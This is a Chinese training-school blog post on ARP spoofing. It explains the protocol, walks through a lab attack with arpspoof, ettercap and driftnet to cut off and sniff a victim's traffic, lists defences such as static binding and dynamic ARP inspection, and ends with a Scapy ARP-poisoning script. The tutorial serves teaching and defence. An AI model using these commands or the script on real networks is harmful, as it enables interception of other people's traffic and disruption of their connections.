热门课程

免费试听

上课方式

开班时间

当前位置: 首页 -   文章 -   新闻动态 -   正文

信安干货│ARP欺骗攻击及防御

知了堂姐
2024-07-08 17:22:16
0

文章来源:知了堂冯老师


更多干货请关注知了堂知乎专栏——知了堂禁卫实验室



知了堂禁卫实验室负责人——冯老师


12年网络安全行业经验,SRC提交多个大型企业漏洞,曾任职于大型上市公司及国企,从事渗透攻防及安全架构工作。主导大型企业如中石油、国家电网渗透测试、风险评估、等级保护,省公安厅应急响应等工作。具有CCNA、CCNP、CCIE、RHCE、CISP、CISP-PTE、CISI等资格认证。


继上次干货分享已经过去一段时间,知了小姐姐迫不及待的想给大家分享这期的内容——APP欺骗攻击及防御


1.回顾

ARP协议

地址解析协议,即ARP(Address Resolution Protocol),是根据IP地址获取物理地址的一个TCP/IP协议。主机发送信息时将包含目标IP地址的ARP请求广播到局域网络上的所有主机,并接收返回消息,以此确定目标的物理地址,说白了就是将IP地址转化为MAC地址。


2.APP缓存

如果每个发送IP Packet都要执行一次 ARP, 网络将是不可承受的。


ARP缓存机制 Static: arp -s Dynamic: 根据ARP应答更新 ARP应答并非都是由请求触发的 主机启动时会主动发送ARP应答 刷新邻居的ARP缓存。


3.APP协议安全问题

ARP协议在设计存在着什么安全问题?ARP广播请求/应答 ARP缓存

ARP欺骗 (ARP Spoofing) 发送伪造ARP消息,对特定IP所对应的MAC地址进行假冒欺骗,从而达到恶意目的。


4.APP攻击原理

PC1和PC2正常通信的时候,会双方会记录对方的IP和MAC地址的映射,就是生成ARP缓存表,当PC1信息发送至交换机端口1的时候再转发到PC2,交换机同样会记录MAC1,生成一条MAC1和端口1的映射,之后交换机可以跟MAC桢的目的MAC进行端口转发。


如果现在有一台PC3,当PC1和PC2建立关系的时候,PC3处于监听状态,也就是会把广播包给丢弃,但PC3同样也可以把包抓起,并回复虚假包,告诉PC1,我是PC2,那么PC1就收到了两条PC2的回应包(一个真的,一个假的),PC1不知道谁是真谁是假,所以PC3就可以连续发包,覆盖掉真正的PC2的包,与PC1建立联系,进行ARP欺骗


5.欺骗实战

5.1断网攻击

实验准备

攻击机:kali ip:192.168.2.135

靶机 :win10 ip:192.168.2.196

网关:192.168.2.1


攻击机发起攻击 arpspoof命令 -i(interface) 网卡eth0 -t(target) 目标IP:192.168.2.196 目标主机网关192.168.2.1


5.2 流量截获

实验准备

攻击机:kali ip:192.168.2.135

靶机 :win10 ip:192.168.2.196

网关:192.168.2.1

攻击机发起攻击arpspoof命令 -i(interface) 网卡eth0 -t(target) 

目标IP:192.168.2.196

目标主机网关192.168.2.1 arpspoof命令 -i(interface) 

网卡eth0 -t(target) 

目标IP:192.168.2.1

目标主机网关192.168.2.196

echo 1 >>/proc/sys/net/ipv4/ip_forward

用ettercap命令进行嗅探 -T 文本模式 -q 安静模式


-M 中间人攻击 

ettercap -T -q -M ARP /192.168.2.1// ///

用driftnet进行流量监控靶机访问页面, 显示图片 driftnet -i eth0



6.防御

6.1静态绑定关键主机的IP地址与MAC地址映射关系


网关/关键服务器 "arp -s IP地址 MAC地址 类型"


6.2使用相应的ARP防范工具

ARP防火墙


6.3使用VLAN虚拟子网细分网络拓扑


6.4加密传输数据以降低ARP欺骗攻击的危害后果

Win 7下直接运行cmd,arp -s会出现下面的错误提示:

ARP 项删除失败: 请求的操作需要提升。

ARP 项添加失败: 拒绝访问。或提示:ARP 项添加失败: 请求的操作需要提升。(英文版提示:The ARP entry addition failed: Access is denied. )

如何解决呢?

运行arp -s需要用管理员身份运行,进入windows\system32文件夹找到cmd.exe,右键“以管理员身份运行”,接下来具体做法是:

1、先运行:

netsh i i showin

找到正在使用的网卡idx号

2、然后运行:

netsh -c i i add neighbors 11 192.168.1.1 00-21-27-bc-89-48

就可以进行绑定了,这里11是idx号,后面是ip地址与物理地址。

3、输入 arp -a查看

在Win7用ARP -D并不能完全的删除绑定

必须使用

netsh -c "i i" delete neighborsIDX (IDX改为相应的数字)

才可删除MAC地址绑定


6.5动态ARP检测

动态 ARP 检测(DAI)可用来验证网络中的 ARP 包,会拦截、记录并丢弃带有无效 IP-MAC 地址映射的 ARP 包,可以保护网络免受中间人攻击的影响。动态 ARP 检测课确保只允许有效的 ARP 请求和回应被转发。


配置步骤为:

1、在一个或多客户VLAN 上启用:

switch(config)#ip arp inspection vlan vlan-range

在该命令中,可指定单个 VLAN ID ,用连字符分隔的 VLAN ID 范围或用逗号分隔的 VLAN ID 列表。


2、将端口指定为可信。

switch(config)#interface 
type mod/numswitch(config-if)#ip 
arp inspection trust


3、验证配置

switch#show ip arp inspection vlan vlan-id


7.工具编写

#coding=utf-8
from scapy.all import *
import sys
import os
​
class ar:
#mac地址获取
def get_mac(self,ip_address):
try:
#发包获取mac
ans,unans=srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip_address),timeout=2)
except Exception as e:
print(e)
else:
for send,rcv in ans:
print(rcv[ARP].psrc+"---->"+rcv[Ether].src)
return rcv[Ether].src
pass
#中断arp攻击
def restore_target(self,gateway_ip,target_ip,gateway_mac,target_mac):
print("[-] Restoring target ……")
send(ARP(op=2,psrc=gateway_ip,pdst=target_ip,hwdst="ff:ff:ff:ff:ff:ff",hwsrc=gateway_mac))
send(ARP(op=2,psrc=target_ip,pdst=gateway_ip,hwdst="ff:ff:ff:ff:ff:ff",hwsrc=target_mac))
# os.kill(os.getpid(),signal.SIGINT)
pass
#arp攻击
def poison_target(self,gateway_ip,target_ip,gateway_mac,target_mac):
try:
send(ARP(op=2,psrc=gateway_ip,pdst=target_ip,hwdst=target_mac))
send(ARP(op=2,psrc=target_ip,pdst=gateway_ip,hwdst=gateway_mac))
except KeyboardInterrupt:
restore_target()
pass
def main():
#网卡
interface="eth0"
#目标ip
target_ip="192.168.75.11"
#网卡ip
gateway_ip="192.168.75.1"
packet_count=1000
conf.iface = interface
conf.verb =0
​
arp=ar()
​
#获取网卡mac
gateway_mac=arp.get_mac(gateway_ip)
if gateway_mac ==None:
print("[!] Failed to get target MAC. Exiting.")
else:
print("[-] gateway_ip {ip} is at geteway_mac {mac}".format(ip=gateway_ip,mac=gateway_mac))
​
#获取目标mac
target_mac=arp.get_mac(target_ip)
if target_mac==None:
print("[!] Failed to get target MAC Exiting.")
else:
print("[-] target_ip {ip} is at target_mac {mac}".format(ip=target_ip,mac=target_mac))
​
#arp.poison_target(gateway_ip,target_ip,gateway_mac,target_mac)
arp.restore_target(gateway_ip,target_ip,gateway_mac,target_mac)
if __name__=="__main__":
main()



预定知了堂4月Java、前端、信安就业班!

加知了小姐姐微信

抢占免费试听名额





大家都在看

Springboot实现软件License授权认...

2024-07-08 浏览次数:0

Ansible 自动化工具安装、配置

2024-07-08 浏览次数:0

哪的java培训班好,知了堂怎么样?

2024-07-08 浏览次数:0

网络安全工程师怎么样?有什么优点呢

2024-07-08 浏览次数:0

react样式,react vue选哪一个

2024-07-08 浏览次数:0

前端培训班一般多少钱?需要培训多久?

2024-07-08 浏览次数:0
最新资讯
"+rcv[Ether].src) return rcv[Ether].src pass #中断arp攻击 def restore_target(self,gateway_ip,target_ip,gateway_mac,target_mac): print("[-] Restoring target ……") send(ARP(op=2,psrc=gateway_ip,pdst=target_ip,hwdst="ff:ff:ff:ff:ff:ff",hwsrc=gateway_mac)) send(ARP(op=2,psrc=target_ip,pdst=gateway_ip,hwdst="ff:ff:ff:ff:ff:ff",hwsrc=target_mac)) # os.kill(os.getpid(),signal.SIGINT) pass #arp攻击 def poison_target(self,gateway_ip,target_ip,gateway_mac,target_mac): try: send(ARP(op=2,psrc=gateway_ip,pdst=target_ip,hwdst=target_mac)) send(ARP(op=2,psrc=target_ip,pdst=gateway_ip,hwdst=gateway_mac)) except KeyboardInterrupt: restore_target() pass def main(): #网卡 interface="eth0" #目标ip target_ip="192.168.75.11" #网卡ip gateway_ip="192.168.75.1" packet_count=1000 conf.iface = interface conf.verb =0 ​ arp=ar() ​ #获取网卡mac gateway_mac=arp.get_mac(gateway_ip) if gateway_mac ==None: print("[!] Failed to get target MAC. Exiting.") else: print("[-] gateway_ip {ip} is at geteway_mac {mac}".format(ip=gateway_ip,mac=gateway_mac)) ​ #获取目标mac target_mac=arp.get_mac(target_ip) if target_mac==None: print("[!] Failed to get target MAC Exiting.") else: print("[-] target_ip {ip} is at target_mac {mac}".format(ip=target_ip,mac=target_mac)) ​ #arp.poison_target(gateway_ip,target_ip,gateway_mac,target_mac) arp.restore_target(gateway_ip,target_ip,gateway_mac,target_mac) if __name__=="__main__": main()



预定知了堂4月Java、前端、信安就业班!

加知了小姐姐微信

抢占免费试听名额





上一篇:免费白嫖?这门信息公开课你不该错过

下一篇:抗疫助学│天津大学(软件学院)移动电商实训火热进行中……

相关内容

热门资讯

就业课程介绍(Java+前端+... Java+大数据,前端全栈,信息安全
关于我们 请输入文章描述
0基础转行信安,他如何做到月薪... 转行并非简单的换份工作,而是我们在职场进行自我认同、重塑身份的一个过程。今天知了小姐姐为大家介绍一位...
【前端每日一题】什么是BFC?... 秋招马上就要开始了,小伙伴们最近在准备面试的东西没呢,知了姐今天将蛋糕哥整理的前端面试题共享出来,同...
cisp考试费用多少?cisp... 随着网络技术的快速发展,网络安全问题变得越来越重要。那么,CISP考试费用多少?CISP报名条件是什...
pythone 文件和数据格式... 关于 Python 对文件的处理,以下选项中描述错误的是
img标签的onerror事件... 1.img 标签除了 onerror 属性外,还有其他获取管理员路径的办法吗? src 指定一个远程...
知了堂官网V3第一版内测邀请 经过几个月的加班加点,我们终于迎来了知了堂官网3.1.0版本 现正招募内测中
网络安全运维岗面试题及答案详解... 在当今数字化时代,网络安全运维工程师的角色变得愈发重要。为了保障网络安全,各个企业都需要拥有一支经验...
川农第一次线下拓展精彩瞬间 5月15日,知了堂的哥哥姐姐们携手企业拓展教练浩浩荡荡奔赴川农。
-->